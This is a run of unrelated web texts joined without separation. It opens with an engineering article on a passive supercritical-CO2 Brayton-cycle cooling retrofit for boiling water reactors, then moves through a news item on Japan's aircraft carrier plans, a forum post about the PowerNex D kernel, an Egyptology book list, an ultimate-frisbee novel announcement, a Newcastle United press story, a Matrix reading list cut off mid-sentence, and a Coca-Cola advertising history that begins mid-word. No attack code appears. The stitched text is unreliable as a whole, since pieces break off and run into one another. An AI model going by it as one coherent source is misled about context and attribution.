The adjacent circuit that cools the aforementioned heat exchanger in the present concept is a Brayton cycle. The temperature difference between its heat source and sink, that is, the primary circuit and the ambient air, powers the system. This way the turbo-compressor system is independent of external power sources. In the closed Brayton cycle supercritical carbon dioxide passes through the heat exchanger (1-2 in Figure 1) and therefore heats up. It further flows to a turbine (2-3), expands and continues towards an air-cooled heat exchanger (3-4), where it is cooled down. Afterwards, the fluid passes the compressor (4-1) and regains its initial state. One particular advantage of this self-cooling system is that it not only removes the decay heat from the primary circuit, but produces electricity independently. This can be realised because the expansion work gained in the turbine is great enough to drive the compressor via a single shaft arrangement and to power a generator additionally. A schematic sketch can be seen in Figure 1.
The turbo-compressor system starts independently, without the need of supplementary energy to initiate the process. The power failure that causes station blackout also causes the immediate opening of a solenoid valve (SV), which isolates the heat exchanger from the main steam line during normal operation. This way, manual activation is unnecessary for the system to start, and the natural convection to evolve. Once the primary steam heats the carbon dioxide via the heat exchanger, dramatic density changes of the order of ~500 kg/m3 occur within the Brayton cycle. This starts the cooling circuit naturally by buoyancy forces. As an alternative, the Brayton cycle can be initiated by starting the compressor with battery power.
The excess electricity produced in the generator is primarily intended to power air fans, which enhance the heat transfer from the supercritical carbon dioxide to the ambient air due to forced convection at the air-cooled gas cooler. This is extremely important as the amount of heat transferred to the air determines the performance of the whole system. Supplementary excess electricity could be used for various purposes throughout the rest of the plant; for example for lighting, powered instrumentation or HVAC, all of which would be highly useful in accident scenarios. Utilising the ambient air as a diverse heat sink is very beneficial, as it is not only completely separated from regular ultimate heat sinks like rivers or the sea, but offers an indefinite supply of coolant.
Components
The working fluid of the Brayton cycle is supercritical carbon dioxide, which has been chosen because of its properties throughout the operating conditions (9-18 MPa, 40-280°C). Entering the heat exchanger at around 18 MPa and 67 °C, the supercritical carbon dioxide has a relatively high heat capacity (2.8 kJ/kg K) and density (635 kg/m³), which is very favourable in order to minimise the heat exchanger size. Due to the stringent space limitations within the containment, this is an important advantage for a retrofit. Furthermore, the low dynamic viscosity of supercritical carbon dioxide reduces friction losses within the cooling circuit. As the system propels itself and is completely autarkic, fewer losses will broaden its operating range.
The dimensions of the components depend strongly on the specified maximum amount of heat that the system must be capable of transferring to the ambient air. Due to its low density it would require a very large volume of air in order to remove the total amount of decay heat during the beginning of an accident scenario. This would result in unreasonably large installations of air-cooled gas coolers and is therefore hardly practical. Thermodynamic calculations [2] have exemplarily been carried out for a generic boiling water reactor with 3840 MW thermal power. It was shown that for a first approximation a cooling capacity of around 60 MWth is sufficient to cope with the named beyond design basis events and it is unnecessary to remove the complete decay heat from the very beginning of the accident.
The greatest space limitations apply for the heat exchanger that transfers the residual heat from the primary circuit to the cooling cycle, as this component has to be placed within the containment itself. One promising option is a printed circuit heat exchanger [3], as it is extremely compact and has a very high surface-to-volume ratio of about 500 m²/m³. The heat exchanger is joined by diffusion bonding and can therefore withstand extremely high pressures and temperatures, which is important since the CO2 pressure can be as high as 20 MPa. According to calculations, a heat exchanger with a total volume of about 1.2 m³ should be sufficient to transfer 60 MWth under the assumed boundary conditions. This compact design is expected to fit in the containment. If necessary, modular arrangements of heat exchangers are possible, in order to place them between existing equipment.
Radial turbo machinery has been chosen for the Brayton cycle, because radial turbines and compressors perform robustly over a wide range of operating conditions and still provide relatively high efficiencies. This is necessary as the system must be capable to remove varying amounts of decay heat over time. It is intended to be used during the whole accident progression, from the beginning to days after the initializing event. For this reason it is foreseen to install several turbo-compressor units in parallel with the option to be turned off individually, as the decay heat decreases over time. It is likely that the flow machines would be placed in the reactor building, due to their relatively small impeller diameter of less than 10 cm.
The turbo-compressor system utilizes ambient air as an alternative heat sink, which cools the supercritical CO2 and enables an indefinite potential cooling period. The air-cooled gas cooler must ensure the transfer of around 60 MWth to the air, which still implies large installations of coolers. In terms of passivity, it would be best to use natural convection for the heat transfer. As this seems impractical due to the necessary size of the cooler, forced convection will be needed to improve the heat transfer. Estimates indicate that 12 fans with a diameter of 5m are sufficient. The required fan power is less than 700 kW, which can easily be provided by the electricity generated by the Brayton cycle (up to 3 MW). Therefore, the set-up does not depend on external power supplies and the fans are expected to work even in the most severe blackout scenario.
The boundary conditions for the Brayton cycle are firstly the temperature within the primary circuit, as this determines the fluid temperature entering the turbine, and secondly the temperature of the ambient air influencing the temperature before the compressor. The pressure ratio of the turbine and the compressor is almost two and yields a pressure difference of 8.5 MPa. A summary of the boundary conditions and first results of the simulation of the Brayton cycle are presented in Table 1.
Insights
The basic strategy of the turbo-compressor system is to remove the decay heat and reduce the primary system pressure during a station blackout. In contrast to the automatic depressurisation system, the turbo-compressor system minimises the loss of coolant inventory. This is essential, because designated means of coolant addition are expected to be unavailable due to the power failure.
For the simulation of the additional heat removal system, an input deck of a generic BWR has been extended by the necessary piping, the compact heat exchanger and the solenoid valve. Furthermore, the Brayton cycle is modelled with its corresponding components, a radial turbine, compressor and the compact heat exchanger. The air-cooled heat exchanger is represented by a controlled heat sink. In the current status of the modelling, the Brayton cycle is not yet coupled to the modified BWR input. Instead, for the presented simulations, the mass flow rate and temperature of cool supercritical CO2 as well as the pressure in front of the turbine are imposed as boundary conditions.
First simulations of the retrofitted BWR revealed that the self-cooling system works as anticipated and can remove the residual heat as required under safety aspects. The decay heat exceeds the removed heat for a short period of time during the beginning of the station blackout, which causes a pressure increase within the isolated primary circuit. However, this can be controlled by the automatic depressurisation system and has only a relatively small impact on the overall behaviour of the plant. The reactor pressure vessel (RPV) pressure stays within acceptable limits during all times.
In the reference reactor, three diversified blow-off valves are intended to stay open under these conditions, in order to decrease the primary circuit pressure and to facilitate the injection of coolant. However, in the anticipated scenario, all means of safety injection are supposed to be unavailable and an injection of coolant is not possible. Moreover, primary steam is continuously blown into the pressure suppression pool which causes the water level within the reactor pressure vessel to decrease over time. After twenty minutes the level reaches the set point at which the automatic depressurisation is activated and additional safety and relief valves open. Although meant to facilitate the safety injection, this scenario actually limits the benefit of an additional heat removal system and reduces the potential of the self-cooling system itself, as it works most efficiently under high-pressure conditions.
In order to extend the grace period with the self-cooling system into the range of days, two options may be considered. Up to now it is common sense to rapidly depressurise the primary circuit of a boiling water reactor following a station blackout or loss of ultimate heat sink. But it might be necessary to rethink whether the opening of the safety and relief valves should be requested in any accident scenario without distinction. If the turbo-compressor system is retrofitted and provides an option to remove the residual heat while preserving most of the cooling inventory, depressurisation may be deferred. It shall be favourably considered, when plant conditions are stable again, power supply is restored and/or external support is accessible. This would also include an adaption of the opening and closing criteria of certain safety and relief valves for the relevant scenarios, such that the coolant inventory is not unnecessarily lost.
Alternatively, the decreasing water level could be countered by means for coolant supply. Due to the available excess electricity of the Brayton cycle (up to 2.3 MW), existing water injection systems of the power plant could be utilised. One particularly promising source for water could be the high pressure seal injection water system for the reactor pressure vessel recirculation pumps. These pumps draw less than 100 kW and can inject approximately 16 m³/h of water at full system pressure. In addition, it is expected that water from the feedwater tank will be inserted passively, once its pressure overcomes the decreasing primary circuit pressure, during the late stages of an accident.
Below, results of three simulated test cases are discussed in more detail.
Case 1: The reference case is an anticipated SBO at a generic BWR with 3840 MW thermal power (green line in Figures 2&3).
Case 2: Case 1 retrofitted with an additional heat removal system (dark blue line in Figures 2&3)
Case 3: Case 2 with an adapted automatic depressurisation system (red line in Figures 2&3).
Figure 2 shows RPV pressure following the station blackout. This was simulated with the German severe accident code ATHLET. In the reference case, the opening of the blow-off valves represents the only option to depressurise the primary circuit. The automatic depressurisation is activated after 10 minutes due to the low water level signal, which is triggered as the water level falls below 1.5m above the core. Several safety and relief valves are opened and the system pressure decreases rapidly. In case 2, the residual heat removal is combined with the open blow-off valves, which results in a greater pressure reduction. Nevertheless, before reaching a designated pressure level, that is, the set point for closing the depressurisation valves, the automatic depressurisation is activated and more safety and relief valves are opened due to the decreased water level.
Alternatively, in case 3, the automatic depressurisation system has also been adopted. For station blackout scenarios, continuous depressurisation is deferred. This way the blow-off valves are closed as long as the RPV pressure stays within acceptable limits and no other safety-related criteria triggers the opening of blow-off valves. During the beginning of the scenario, the decay heat exceeds the heat removed by the turbo-compressor system which results in an increase in the RPV pressure. Reaching 77 bar (7.7 MPa), one of the safety and relief valves is opened due to a high system pressure signal. The blow-off valve stays open until the system pressure decreases to 74.5 bar, which causes the intermittent behaviour seen in Figure 2. After 50 minutes the removed heat overcomes the decreasing decay heat, causing a slow pressure reduction.
Figure 3 shows the water/vapour temperature in a representative channel in the upper core region against time for a boiling water reactor following a station blackout. The activation of the automatic depressurisation for case 1, the reference case, causes the core temperature to decrease due to the rapidly decreasing system pressure. Subsequently, the temperature starts to rise quickly, which indicates that the top of the core is uncovered. In case 2, the temperature stays almost constant until the automatic depressurisation is activated, 30 minutes after the initiating event. The subsequent opening of the blow-off valves results in a pressure and therefore saturation temperature drop, before the temperature starts to increase. It can be seen that core uncovering can be postponed for about 40 minutes.
In case 3, the core is steadily covered with water as most of the coolant stays within the primary circuit. Once the removed heat exceeds the decay heat and the system pressure decreases, the temperature reduces as well. With the adopted automatic depressurisation system, the turbo-compressor system is capable of removing the decay heat and to control the accident scenario during the simulated time of 72 hours.
Additional systems
Some of the existing boiling water reactors are also equipped with a Reactor Core Isolation Cooling System (RCIC). Steam-driven turbo pumps are thereby provided to inject coolant from the wetwell into the reactor pressure vessel in case of power, or ultimate heat sink, failure. Since this system does not remove any heat from the containment, it only buys some time to recover electricity supplies or to implement external emergency procedures. In combination with the passive heat removal system, the RCIC could be useful, as it provides an autarkic option to compensate for lost coolant. Therefore it would also be able to substitute coolant losses due to opened safety and relief valves. However, it should be reconsidered in which cases the opening of blow-off valves and therefore the depressurisation of the primary circuit is beneficial, as the turbo-compressor system is most efficient under high-pressure conditions.
Isolation condensers (IC) that are in place in some of the presently-operating BWRs facilitate a temporary heat sink to the primary circuit, in case electricity supplies and/or the ultimate heat sink are unavailable. Primary steam is drawn upwards by natural convection, comparable to the process in the turbo-compressor system. The steam is then condensed as its latent heat is transferred to the surrounding water inventory of the IC. But this cooling supply of water is limited, which is why this passive system operates only temporarily and cannot control the suggested scenarios. In contrast, the turbo-compressor system possesses an unlimited heat sink, that is, the ambient air, and can provide long-term autarky to the plant. In addition, the generated excess electricity could be used for various purposes throughout a station blackout. The isolation condenser itself is not retrofittable, due to its size and the necessary water inventory.
The interaction of the self-cooling system with such existing safety systems will be investigated in the future.
The turbo-compressor system is also a retrofit option to pressurised water reactors [4]. For example, it could serve as an emergency condenser on the secondary side which condenses steam leaving one of the steam generators. On the other hand it could condense the primary bleed in the pressurizer blow-down tank. The condensed water could then be re-injected by pumps, powered by excess electricity of the Brayton cycle. Theoretically, the turbo-compressor system could also be used for autarkic cooling of spent fuel pools at water temperatures of about 70-80°C.
Despite the promising results of the simulation of the self-cooling system there are still open issues that have to be discussed; for instance, the acceptability of an additional containment penetration that is needed by the system, or the dependency of the heat sink on electricity and the related probability of failure of electrical equipment. These aspects have to be reviewed thoroughly in the near future.
Conclusion
The autarkic, self-cooling system provides residual heat removal even in severe, beyond design basis scenarios like station blackout and loss of ultimate heat sink. The turbo-compressor system is retrofittable for existing boiling water reactors due to its compactness and transfers the decay heat to the ambient air, serving as an alternative heat sink that provides an almost indefinite potential. Simply driven by the temperature difference between the primary circuit and the ambient air, this system is expected to be capable to extend the grace period of a nuclear power plant significantly.
References
[1] IAEA, Safety Related Terms for Advanced Nuclear Plants, chapter 2, IAEA, IAEA-TECDOC-626, Vienna (1991).
[2] J. Venker, Concept of a Passive Cooling System to Retrofit Existing Boiling Water Reactors, Proceedings of the 2013 International Congress on Advances in Nuclear Power Plants, ICAPP 2013, Jeju Island, Korea (2013).
[3] HEATRIC; Compact heat transfer solutions, http://www.heatric.com (19.12.2012)
[4] D. von Lavante, D. Kuhn and E. von Lavante, Self-Propelling Cooling Systems: Back-Fitting Passive Cooling Functions to Existing Nuclear Power Plants, Proceedings of the 20th International Conference on Nuclear Engineering, ICONE 20, Anaheim, USA (2012).
Author
Jeanne Venker, RWE Technology GmbH, Huyssenallee 12-14, 45128 Essen; Institute for Nuclear Technology and Energy Systems (IKE), University of Stuttgart, Pfaffenwaldring 31, 70569 Stuttgart, GermanyThe Japanese development of an aircraft carrier – fit to carry US-made F-35 fighter jets – has shocked its Asian neighbours. Earlier this week, Japan revealed its plan to convert a helicopter warship into a stealth fighter aircraft carrier for the first time since the devastation of the Second World War. China has been alarmed by the escalation in Japan's militarization and warned that this move violates their constitutional "no-war" clause. An expert in Asian affairs, Andrew Leung, said the move could be a "pretext for a larger military force".
GETTY Japan revealed its plan to convert a helicopter warship into a stealth fighter aircraft carrier
US and South Korea meet for winter drill on North Korea's doorstep Wed, December 20, 2017 The winter training exercise originally was designed to prepare for possible North Korea attacks and is annually held by soldiers of South Korea's and the U.S. Marine Corps Play slideshow AFP/Getty Images 1 of 12 A South Korean Marine aims his rifle on a snowy hill during a joint winter drill with US Marines in Pyeongchang
Following its defeat at the end of the Second World War, Japan signed a deal promising to convert its military into a defensive force. The Japanese Government maintain that the aircraft carrier development is intended only as a defence against Kim Jong-un's North Korean regime. However, Mr Leung disputed this during an interview with RT: "This is a move towards escalation. "The threat from North Korea is not credible – and even if it was, aircraft carriers cannot defend against nuclear weapons." The Asian affairs expert also accused the US of encouraging Japan to revise its constitution and play a greater military role against North Korea.
RT An expert in Asian affairs, Andrew Leung, said the move could be a
GETTY The Japanese Government maintain that the aircraft carrier development is intended only as a defense
The threat from North Korea is not credible - and if it was, aircraft carriers cannot defend against nuclear weapons Andrew LeungStefan Koch Posted in reply to Wild
Permalink Reply
On Sunday, 29 May 2016 at 23:15:13 UTC, Wild wrote: > Hey! > > I have new release of my D kernel called PowerNex. > This release should be a bit more interesting than the last one that I release back in November 2015. > > This one contains a working memory manager, a custom TTY renderer, BMP image renderer, a VFS, etc. > More information is in the Github release. > > https:// github.com/ Vild/PowerNex/ releases/tag/ v0.1.0-ALPHA > The Github release also have a precompiled ISO. > > The project is fully open source and located at > > Hopefully someone will find this interesting. > All feedback is appreciated. > > -Dan Hey!I have new release of my D kernel called PowerNex.This release should be a bit more interesting than the last one that I release back in November 2015.This one contains a working memory manager, a custom TTY renderer, BMP image renderer, a VFS, etc.More information is in the Github release.The Github release also have a precompiled ISO.The project is fully open source and located at https:// github.com/ Vild/PowerNex under the MPLv2 license.Hopefully someone will find this interesting.All feedback is appreciated.-DanEvery month we update our readers on the most recent Egyptological publications. From accessible reads to peer-reviewed scholarship, we hope to illustrate the wide variety of topics discussed in Egyptology, and perhaps introduce you to your next read! Below are six books scheduled to be released this month: October (2017).
Darlene L. Brooks Hedstrom
Cambridge University Press (ISBN: 9781107161818) – Cost: CAD $154.95
Publisher’s Summary:
Darlene L. Brooks Hedstrom offers a new history of the field of Egyptian monastic archaeology. It is the first study in English to trace how scholars identified a space or site as monastic within the Egyptian landscape and how such identifications impacted perceptions of monasticism. Brooks Hedstrom then provides an ecohistory of Egypt’s tripartite landscape to offer a reorientation of the perception of the physical landscape. She analyzes late-antique documentary evidence, early monastic literature, and ecclesiastical history before turning to the extensive archaeological evidence of Christian monastic settlements. In doing so, she illustrates the stark differences between idealized monastic landscape and the actual monastic landscape that was urbanized through monastic constructions. Drawing upon critical theories in landscape studies, materiality and phenomenology, Brooks Hedstrom looks at domestic settlements of non-monastic and monastic settlements to posit what features makes monastic settlements unique, thus offering a new history of monasticism in Egypt.
Laurel Bestock
Routledge Studies in Egyptology (ISBN: 9781138685055) – Cost: US $140
Publisher’s Summary:
Violence and Power in Ancient Egypt examines the use of Egyptian pictures of violence prior to the New Kingdom. Starting with the assertion that making and displaying such images served as a tactic of power, related to but separate from the actual practice of violence, the book explores the development and deployment of this imagery across different contexts. By comparatively utilizing violent images from a variety of other times and cultures, the book asks that we consider not only how Egyptian imagery was related to Egyptian violence, but also why people create pictures of violence and place them where they do, and how such images communicate what to whom. By cataloging and querying Egyptian imagery of violence from different periods and different contexts—royal tombs, divine temples, the landscape, portable objects, and private tombs—Violence and Power highlights the nuances of the relationship between aspects of royal ideology, art, and its audiences in the first half of pharaonic Egyptian history.
John H. Taylor
Pimpernel Press (ISBN: 9781910258873) – Cost: £9.99
Publisher’s Summary:
Sir John Soane’s Greatest Treasure describes one of the most important antiquities ever found in Egypt – the beautiful calcite sarcophagus of the pharaoh Seti I. Re-discovered in 1817 in the tomb of Seti I in the Valley of the Kings by the flamboyant explorer Giovanni Belzoni, the sarcophagus now resides in Sir John Soane’s Museum in London’s Lincoln’s Inn Fields. Leading Egyptologist John H. Taylor outlines the life of Seti I, the background to the creation of the sarcophagus, the excitement surrounding its re-discovery and the fascinating story of its journey to London and its acquisition by Sir John Soane. At the heart of the book is a fully illustrated interpretation of the complex imagery and hieroglyphic inscriptions which cover the delicately carved surfaces of the sarcophagus. The book also includes an essay by Helen Dorey on the celebrations held at the Museum to welcome the arrival of the sarcophagus of Seti I in 1825. Sir John Soane’s Greatest Treasure is published to mark the 200th anniversary of the re-discovery of the sarcophagus in 1817, and to accompany a major exhibition at Sir John Soane’s Museum, opening in October 2017.
Mark Lehner and Zahi Hawass
University of Chicago Press (ISBN: 9780226425696) – Cost: US $75
Publisher’s Summary:
The pyramids of Giza have stood for more than four thousand years, fascinating generations around the world. We think of the pyramids as mysteries, but the stones, hieroglyphs, landscape, and even layers of sand and debris around them hold stories. In Giza and the Pyramids: The Definitive History, two of the world’s most eminent Egyptologists, Mark Lehner and Zahi Hawass, provide their unique insights based on more than four decades of excavating and studying the site. The celebrated Great Pyramid of Khufu, or Cheops, is the only one of the seven wonders of the ancient world still standing, but there is much more to Giza. Though we imagine the pyramids of Khufu, Khafre, and Menkaure and the Sphinx rising from the desert, isolated and enigmatic, they were once surrounded by temples, noble tombs, vast cemeteries, and even harbors and teeming towns. This unparalleled account describes that past life in vibrant detail, along with the history of exploration, the religious and social function of the pyramids, how the pyramids were built, and the story of Giza before and after the Old Kingdom. Hundreds of illustrations, including vivid photographs of the monuments, excavations, and objects, as well as plans, reconstructions, and images from remote-controlled cameras and laser scans, help bring these monuments to life.
Barbara Mendoza
ABC-CLIO (ISBN: 9781440844003) – Cost: US $100
Publisher’s Summary:
Historians have found that valuable knowledge about long-ago civilizations can be derived from examining the simple routines of daily life. This fascinating study presents a collection of everyday objects and artifacts from ancient Egypt, shedding light on the social life and culture of ancient Egyptians. The work starts with a popular notion of ancient Egyptian beauty and gradually moves on to address various aspects of life, including home, work, communication, and transition and afterlife. Organized by topics, the work contains the following sections: beauty, adornment, and clothing; household items, furniture, and games; food and drink; tools and weapons; literacy and writing; death and funerary equipment; and religion, ritual, and magic. Each object holds equal importance and dates from the Predynastic era to the Græco-Roman period of ancient Egypt (5000 BCE to 300 CE). A special section provides guidance on evaluating objects and artifacts by asking questions—Who created it? Who used it? What did it do/what was its purpose? When and where was it made? Why was it made?—to help assess the historical context of the object.
Arthur Verhoogt
University of Michigan Press (ISBN: 9780472123162) – Cost: US $39.95
Publisher’s Summary:
Discarded, Discovered, Collected provides an accessible introduction to the University of Michigan’s collection of papyri and related ancient materials, the widest and deepest resource of its kind in the Western hemisphere. The collection was founded in the early part of the 20th century by University of Michigan Professor of Classics Francis W. Kelsey. His original intention was to create a set of artifacts that would be useful in teaching students more directly about the ancient world, at a time when trips to ancient sites were much harder to arrange. Arthur Verhoogt, one of the current stewards of the Papyrology Collection, provides clear, insightful information in an appealing style to engage general readers and scholars alike. Extensively illustrated with some of the collection’s more spectacular pieces, this volume describes what the collection is, what kinds of ancient texts it contains, and how it has developed from Francis Kelsey’s day to the present. Verhoogt describes in detail how people who study papyri carry out their work, and how papyri contribute to our understanding of various aspects of the ancient Greco-Roman world. Translations of the ancient texts are presented so that the reader can experience some of the excitement that comes with reading original documents from many centuries ago.First-Ever Ultimate Novel Published
Chicago writer Alex Rummelhart seeks to be the first to capture the sport of ultimate in published fiction.
The Ultimate Outsider, released this week and available on Amazon, is the first novel to focus on a story of ultimate. The book, written by Ultiworld and Skyd Magazine writer Alexander Rummelhart, revolves around an unlikely young athlete and the season of a fictional high school ultimate team.
The book announcement sees the first time that the sport has been featured in the fictional print media market. The novel will be sold in both paperback and kindle options.
Rummelhart, a long-time writer for Ultiworld and a player for the AUDL’s Chicago Wildfire, seeks to capture the excitement, humor, and spirit of what it means to be a new ultimate player, focusing on a young adult finding the game and discovering its unique world. Following the course of the team throughout a spring season, the novel will appeal to new youths to the game and veteran players alike.
The summary description of the book is below:
Seventeen-year-old Jimmy Anderson has always been the outsider since he moved to Geneva Grove High School; he’s the strange new kid, overshadowed by his sports star older brother Zeke, and just too different to fit in anywhere. Always too awkward in all characteristics- tall, skinny, clumsy, smart, or shy- Jimmy doesn’t know where he belongs, until one day he discovers a strange new sport: ultimate frisbee. Not only is the ultimate team filled with oddballs like him, but the game is more exciting and beautiful than he could ever imagine, and TJ (as he becomes known to his ultimate friends) is quickly becoming the best in the group, dominating on the field, noticed and appreciated by everyone in this fantastically different world. But pressure from outside commitments, mainstream coaches, and his family means that Jimmy doesn’t have time for anything so weird or new, which means TJ and his ultimate life have to become a major secret. As Jimmy grows and learns the game of ultimate, he finds self-confidence with a new best friend, a mysterious, talented, and beautiful female captain of the squad, and a true sense of belonging in the hilarious, and often wacky, exploits of the Pink TrollZ: the high school ultimate team.
You can purchase the book on Amazon.Get the biggest Newcastle United FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
Rafa Benitez is revelling in the euphoria sweeping across Tyneside right now - but is refusing to let his players lose focus on the task at hand.
The Newcastle United boss has encouraged supporters to continue enjoying the team’s on-field success yet he is aiming to keep his players as grounded as possible despite their impressive five-game winning streak.
Instead, Benitez wants to ensure his squad do not distracted and instead that they concentrate fully on the next game - namely, Queens Park Rangers away.
Asked if he was enjoying the positive mood fans have towards the club at the moment, Benitez replied: “I am for sure, 100 per cent.
“After every good training session and every win, I am really pleased and happy.
“If you’re winning, you always enjoy it.
“At the same time I have a responsibility to prepare the team for the next game.
“When you play so many games in a short time you have to be ready.”
While fans may already be thinking of celebrating seeing Newcastle return to the Premier League in May, Benitez will not allow his squad to get ahead of themselves.
Instead, he will continue to drill a message home to his players: United have achieved nothing yet.
“The only thing is to tell the players every day and in every sessions - and tell the fans through Press conferences - that we have to keep going,” he added.
“The fans have to enjoy it but at the same time we have to make sure as professionals that we remain concentrated and we keep working hard.”
(Image: 2016 Newcastle United)
Saturday’s 2-0 win at Derby County was Newcastle’s fifth in a row and saw them rise to second in the Championship table.
The players celebrated in front of the fans after the game, so what message did Benitez have for his squad after the win? And how did the atmosphere in the dressing room differ to the extreme lows of last season?
“I went in and said congratulations and well done,” Benitez said.
“Before the game they were focused and after the game everyone was smiling and laughing.
“I told them to enjoy it and then during the training session we have to focus on the next game.
“When you win games it is easier; when you lose it is so much harder to see players upset.
“It is clear now we have a team spirit because they work together and the way that they are winning, everyone is working so hard, even those coming off the bench.
“It’s about having that winning mentality and the players must try to do their job and give everything, even if they are on the bench.”
Benitez insists he is unfazed by the huge expectation on his Newcastle United squad this season - because he has dealt with even greater pressure to win every week at Real Madrid.
The 56-year-old played for Real’s academy, managed their youth side and then took control of Los Blancos’ first team in 2015.
And Benitez says that to finish second in the league at the Bernabeu means “nothing”.
The expectation from supporters that Newcastle will run away with the Championship title this season is something the Spaniard believes he can deal with having coped with the scrutiny you receive in the Spanish capital for more than two decades.
“When I was 13 years old I started playing for the Real Madrid academy,” Benitez replied when he was asked how he was dealing with the immense weight of expectation.
“So to finish second was nothing.
“You had to finish first, first, first every year. After I was then a coach there for 10 years.
“It was 20 years growing up with this mentality that you have to win and finish first.”
The Magpies are currently on a five-game winning run, have kept four straight clean sheets and are up to second in the Championship table.
But Benitez is adamant that the hard work is only just beginning - Newcastle have achieved “nothing yet”, he insists.
“What I have seen after winning some games in a row that everyone thinks the job is done, but it certainly is not done,” the Spaniard added.
“We have to keep sending the right message and the message is we have done nothing yet.
“We need to keep working hard and keep focused for every game.
“We know that you can lose at any time.
“The other day I was watching Aston Villa; they were losing, winning and then they ended up drawing. Everything can change in one minute.
“The Championship is so difficult and you have to be sure you keep your players on their toes until the end of the season.”The Books: Matrix 'Inspirations'
The Matrix universe created by the Wachowskis is deeply influenced by a wide variety of philosophy, spiritualism, and art. The inspirations are many and varied, and identifying them provides a satisfying challenge to the fans who wish to go deeper into the ideas behind The Matrix. While there are likely countless books that inspired the Wachowskis, many of which we'll never know about, 3 books were mentioned by name in The Matrix Revisited. These three books were given to Keanu Reeves to read before he even got the script.
Out of Control
Paperback: 521 pages
Written by Kevin Kelly
Written by The Executive Editor of Wired Magazine, Out of Control chronicles the dawn of a new era in which the machines and systems that drive our economy are so complex and autonomous as to be indistinguishable from living things. Kelly demonstrates quite convincingly how the technological is becoming more biological, and that nature is not particularly concerned about efficiency. Out of Control is an accessible and entertaining explanation of why the coming years will probably be the Age of Biology -- particularly evolution and ethology -- and what this will mean to most every aspect of our society.
Get Out of Control for yourself today!
Share
Simulacra and Simulation
Paperback: 164 pages
Written by Jean Baudrillard
Translated by Sheila Glaser
Not only was this philosophical text important before making the movie, it was also featured in the first film: this is the book where Neo hides the "product" that he sells to his customer, Choi, in the beginning of The Matrix. Focusing on the concepts of the simulacrum, the copy without an original, and simulation, Baudrillard addresses the concept of mass reproduction and reproducibility. A mass reproduction of something - now what would that have to do with The Matrix?
Get Simulacra and Simulation for yourself today!
Introducing Evolutionary Psychology
Paperback: 176 pages, illustrations
Written by Dylan Evans
Illustrated by Oscar Zarate
Drawing on insights of evolutionary biology and cognitive psychology, as well as anthropology, primatology, |
-Cola. Similarly, the bathing beauty in the next image does not have a care in the world. With only the purchase of a Coca-Cola, the reader can be as relaxed and "completely refreshed" as the young vibrant girl.
Artist Haddon Sundblom's famous Santa Claus image first appeared with a Coke on billboards in 1931, reassuring people that goodness still existed in the world. Associating itself with Santa Claus gave Coca-Cola a universal positive image that epitomized American ideals. For Santa brings gifts to all little boys and girls, as long as they are good.
Boys and girls also appeared in soda fountain advertisements. A pristine juvenile couple sits at the counter while a soda jerk takes their order. The girl smiles earnestly at the boy while he orders two ice-cold Coca-Colas for them. The couple, free from any notion of a depression or the oncoming U. S. involvement in a world war, happily sip their Coca-Colas. The advertisement reminds readers that, "Around the corner from anywhere, the soda fountain invites you to pause and refresh yourself. Make it a date." Coke was depicted as a normal convenient part of everyday life, an essential part of the picture perfect America that these advertisements created. One of the advertisements asserts: "The pause that refreshes with ice-cold Coca-Cola is America's favorite moment." And indeed it would be. The beginning of U. S. involvement in World War II sent many American soldiers abroad, where they longed for the comforts of home and "moments" like these.
As one sergeant from Kansas wrote home to his parents during World War II, "It's the little things, not the big things that the individual soldier fights for or wants so badly when away. It's the girl friend back home in a drug store over a Coke, or the juke box and the summer weather. The average soldier wants to come home, get back in those old clothes, and do the things he always did" (Allen, 258). They longed for the familiar, very American, soda fountain experience. What are the other things that Americans "always did?" Just look at the Coca-Cola advertisements. Coca-Cola successfully created a picture of the ideal America that Americans held onto during World War II.
Even though Coca-Cola's images of America were appealing and profitable during the depression, by the mid- thirties an earnest competitor emerged on the market with surprising success: Pepsi. Offering twelve ounces of cola instead of six for the same nickel price, the Pepsi-Cola company made steady gains with consumers. Families who had to watch their spending began to drink Pepsi. From 1934 to 1937 Pepsi netted over $9.5 million. In 1938 they doubled their 1936 profits at $4 million. Wallace Mack, the leader and force behind the Pepsi-Cola company, forged ahead into the newest medium of advertisement, the radio. Pepsi created the first advertising jingle for the radio which with twenty-eight million families listening to radio by 1939 made a substantial difference in their sales.
Pepsi-Cola hits the spot Twelve full ounces, that's a lot Twice as much for a nickel, too Pepsi-Cola is the drink for you. (Allen, 240).
The tune of the jingle was so catchy that listeners called up radio stations asking them to play it. By 1939, net earnings reached $5.6 million for Pepsi-Cola. Coca-Cola, whose appeal had been so dependent on its visual image, had nothing to counter the Pepsi jingle with. By the beginning of 1941, with an advertising budget exceeding $10 million, the company was searching for ways to regain the spotlight.
The history of the world gave Coca-Cola its wish. The onset of World War II had a profound effect on the advertising decisions of the coming years. Ben Oehlert, who handled the lobbying activity in Washington for the company, predicted what the war would do to Coca-Cola and attempted to prepare the company in advance. He knew that the United States would eventually become involved in the international conflict and therefore, the company would face cutbacks and decline in sales. Because Coca-Cola had become the largest consumer of granulated cane sugar in the world by 1919, the rationing of sugar during World War I had almost devastated the company. Oehlert, not wanting this to happen again, pondered how he could convince the government that Coca-Cola was essential to the war effort. Approaching Ralph Hayes, secretary and treasurer of the company, Oehlert presented the idea that even in wartime, men and women benefitted from regular pauses in their work day.
Hayes referred to the project as "Oehlert's Folly," but nevertheless gave careful consideration to the young lawyer's observations. Hayes recognized how Coca-Cola could be valuable to the military population. As an alternative to alcoholic beverages, Coca-Cola would be a more desirable beverage for a commanding officer to give his troops. Therefore, Hayes told the D'Arcy agency to begin collecting endorsements from commanding officers around the country in training camps.
Robert W. Woodruff, President of the company, however, needed to be convinced that Oehlert was onto something worth getting into. Luckily, a wire sent by an American reporter in London to the New York Coca-Cola office came in the spring of 1941 reading: "We, members of the Associated Press, can not get Coca-Cola anymore. Terrible situation for Americans covering battle of Britain. Know you can help. Regards" (Allen, 250). The wire made Woodruff realize that Coca-Cola boosted morale and therefore was crucial to the war effort. He thought that even if the company lost money, Coca-Cola should be available to the armed forces. After the bombing of Pearl Harbor in December 1941, Woodruff declared Coca-Cola's wartime policy: "We will see that every man in uniform gets a bottle of Coca-Cola for five cents wherever he is and whatever it costs" (Watters, 162). The Coca-Cola company became a source of surging patriotism.
The War Department agreed with Woodruff's idea that Coca-Cola would provide a boost in morale. Therefore, they had the U. S. government fund the installation of sixty-four bottling plants behind Allied lines. Entire bottling plants were shipped to the front lines with other supplies. And as soon as the battle front moved, so would the bottling company. When America went to war, Coca-Cola followed.
